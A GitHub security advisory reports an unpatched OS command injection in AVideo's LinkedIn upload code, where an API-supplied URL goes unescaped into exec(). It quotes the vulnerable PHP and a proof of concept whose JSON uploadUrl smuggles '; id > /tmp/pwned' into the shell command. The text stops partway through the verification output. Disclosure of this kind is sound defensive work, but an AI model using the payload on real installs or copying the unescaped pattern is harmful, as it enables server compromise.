GitHub Security Advisory: GHSA-w5ff-2mjc-4phc
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 25.0
Patched in: unpatched

Summary: AVideo has an OS Command Injection via Unescaped URL in LinkedIn Video Upload Shell Command

Details:
## Summary

The `uploadVideoToLinkedIn()` method in the SocialMediaPublisher plugin constructs a shell command by directly interpolating an upload URL received from LinkedIn's API response, without sanitization via `escapeshellarg()`. If an attacker can influence the LinkedIn API response (via MITM, compromised OAuth token, or API compromise), they can inject arbitrary OS commands that execute as the web server user.

## Details

The vulnerability exists in `plugin/SocialMediaPublisher/Objects/SocialUploader.php`.

The `initializeLinkedInUploadSession()` method (line 649) sends a POST request to `https://api.linkedin.com/rest/videos?action=initializeUpload` and parses the JSON response at line 693:

```php
// SocialUploader.php:693
$responseArray = json_decode($response, true);
```

The parsed `uploadInstructions` array is iterated at line 532, and each `uploadUrl` is passed to `uploadVideoToLinkedIn()` at line 542:

```php
// SocialUploader.php:542
$uploadResponse = self::uploadVideoToLinkedIn($instruction['uploadUrl'], $tmpFile);
```

The `uploadVideoToLinkedIn()` method (line 711) constructs a shell command by directly concatenating both `$uploadUrl` and `$filePath` into a string passed to `exec()`:

```php
// SocialUploader.php:713-720
$shellCmd = 'curl -v -H "Content-Type:application/octet-stream" --upload-file "' .
    $filePath . '" "' .
    $uploadUrl . '" 2>&1';

_error_log("Upload Video Shell Command:\n" . $shellCmd);

exec($shellCmd, $o);
```

Neither `$uploadUrl` nor `$filePath` is sanitized with `escapeshellarg()`. A malicious URL such as `https://uploads.linkedin.local" ; id ; echo "` would break out of the quoted string and execute arbitrary commands.

The `$uploadUrl` originates from LinkedIn's API response — a trusted third-party source over HTTPS — so exploitation requires compromising that response (MITM at CA level, compromised OAuth token leading to attacker-controlled API responses, or LinkedIn API compromise). This makes the attack complexity high, but the missing sanitization is a defense-in-depth failure that could become critical if the trust boundary is ever violated.

## PoC

This vulnerability requires manipulating the LinkedIn API response. A simulated proof-of-concept using a local proxy:

**Step 1:** Set up a proxy that intercepts the LinkedIn API response and replaces the `uploadUrl` field:

```json
{
  "value": {
    "uploadInstructions": [
      {
        "uploadUrl": "https://example.com\" ; id > /tmp/pwned ; echo \"",
        "firstByte": 0,
        "lastByte": 1024
      }
    ],
    "uploadToken": "token123",
    "video": "urn:li:video:123"
  }
}
```

**Step 2:** The resulting shell command becomes:

```bash
curl -v -H "Content-Type:application/octet-stream" --upload-file "/tmp/tmpfile" "https://uploads.linkedin.local" ; id > /tmp/pwned ; echo "" 2>&1
```

**Step 3:** The `id` command executes as the web server user, writing output to `/tmp/pwned`.

**Step 4:** Verify:

```bash
cat /tmp/pwned
# uid=33(www-da